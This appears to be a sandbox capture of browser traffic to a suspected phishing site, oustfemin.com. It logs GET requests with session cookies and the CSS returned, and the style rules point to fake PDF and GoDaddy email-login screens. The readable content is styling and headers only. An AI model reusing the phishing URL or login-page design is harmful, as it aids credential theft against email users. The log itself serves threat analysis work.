2024-08-23 14:21:52 UTC	1369	IN	Data Raw: 64 32 4e 65 43 77 6b 37 64 7a 34 37 50 58 51 6a 43 45 42 42 49 53 51 2b 4e 6a 59 33 4e 6b 31 47 57 6a 6f 34 50 7a 51 77 64 44 55 4d 57 31 34 39 4a 53 39 39 65 48 6c 2b 55 7a 67 53 61 48 64 71 63 33 68 30 63 30 30 53 45 6d 68 33 61 6e 4e 34 61 48 77 4a 57 30 52 32 57 6b 42 76 65 58 6c 2b 54 57 5a 61 4c 58 63 6f 4f 6a 38 7a 4e 68 35 47 45 6a 6f 2b 4f 54 68 34 50 53 42 4e 58 46 30 38 64 7a 34 79 4d 7a 30 39 43 68 4a 54 4a 69 35 71 49 54 45 6e 4f 45 4d 53 48 32 56 70 51 48 4e 34 64 48 4e 4e 45 68 4a 6f 64 32 70 7a 65 47 67 33 42 45 51 53 4b 7a 73 72 49 43 74 70 63 51 39 64 52 6a 77 34 4a 79 41 39 4e 79 63 45 58 56 78 71 61 58 59 6a 65 44 63 2f 44 45 46 42 64 58 55 6e 4d 58 56 6c 5a 55 38 4d 66 43 64 33 4b 7a 41 37 4f 79 59 44 52 67 31 6f 61 79 74 7a 4d 43 59 Data Ascii: d2NeCwk7dz47PXQjCEBBISQ+NjY3Nk1GWjo4PzQwdDUMW149JS99eHl+UzgSaHdqc3h0c00SEmh3anN4aHwJW0R2WkBveXl+TWZaLXcoOj8zNh5GEjo+OTh4PSBNXF08dz4yMz09ChJTJi5qITEnOEMSH2VpQHN4dHNNEhJod2pzeGg3BEQSKzsrICtpcQ9dRjw4JyA9NycEXVxqaXYjeDc/DEFBdXUnMXVlZU8MfCd3KzA7OyYDRg1oaytzMCY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49780	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	1448	OUT	GET /12euAqDcdlIORfF6720 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:54 UTC	637	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="12euAqDcdlIORfF6720" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6nF9PkV5HQkkRpKgs8UFrOMyzF%2BZzDxw%2Bq5muVNtpVMg1ctJgOrHzFiywKmFphU3EY8fu1nxs5hYaS%2BYVh%2B8RUTC0VziLRFoEzkwc%2BiY4wneJu4N0UMP%2BjK9fa7vg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc06a084343fa-EWR
2024-08-23 14:21:54 UTC	732	IN	Data Raw: 33 37 62 37 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 37b7*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f Data Ascii: t PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sectio
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 2d 72 61 64 69 75 73 3a 32 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 Data Ascii: -radius:20%;background:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 Data Ascii: background:rgba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 78 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 Data Ascii: x{align-items:center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login .loginbox{border-radius:0 0 3.75pt .052083333in}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sect
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a Data Ascii: ions_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 64 65 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e Data Ascii: deoutform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timin
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 36 35 73 7d 23 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 20 2e 73 65 63 74 69 6f 6e 63 6f 6e 74 65 Data Ascii: ons .loading-container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-delay:.65s}#sections{height:100vh;width:100vw;display:table-cell;max-width:100%}#sections .sectionconte
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 68 3a 30 20 30 20 31 70 78 3b 68 65 69 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 69 6e 70 75 74 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 23 61 75 74 68 63 61 6c Data Ascii: h:0 0 1px;height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=email]:hover,input[type=tel]:hover{border-color:rgba(0,0,0,.8)}.input::placeholder{font-size:15px}#authcal
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 72 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 69 6e 70 75 74 2d 6d 61 78 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 36 34 30 70 78 7d 2e 74 61 62 6c 65 2c 69 6e 70 75 74 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e Data Ascii: er-bottom-left-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.dirltr{direction:ltr}.input-max-width{max-width:640px}.table,input{max-width:100%}label.input-group-addon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49779	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	1448	OUT	GET /abPMvyMi4BP6pqRcd30 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:54 UTC	641	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="abPMvyMi4BP6pqRcd30" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UMa%2FM4HkbgX8IufQUzKdLjVY%2FLy6U%2BhZzC5ISxt5AQj0ywSkEmAcpYklv%2BUoCGwIRorbdFH5Zy2D6i%2BqOKjP0s2K%2FcUvNaDymS%2FXoU0u01kOZl9bElm8JmsJ%2Fx7Klw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc06a090c42a6-EWR
2024-08-23 14:21:54 UTC	728	IN	Data Raw: 33 32 30 66 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 7d 0d 0a 0d 0a Data Ascii: 320f#sections_godaddy {font-family: gdsherpa;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transparent;}
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 67 61 70 3a 20 30 2e 35 65 6d 3b 0d 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d Data Ascii: if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,underline); gap: 0.5em; cursor: pointer; --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2); font-weight: inherit; background: transparent;
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 64 69 61 6c 6f 67 2d 73 68 65 6c 6c 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b Data Ascii: pty { display: inline-flex; block-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { padding-block: var(--uxSpace--padding-size);}#sections_godaddy .ux-dialog-shell { display: inline-flex;
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 35 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 Data Ascii: Size2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize5: calc(var(--uxText--fontSize4) var(--ux-y4pg8z,*) var(--ux-7s4p3v,1.125)); --uxT
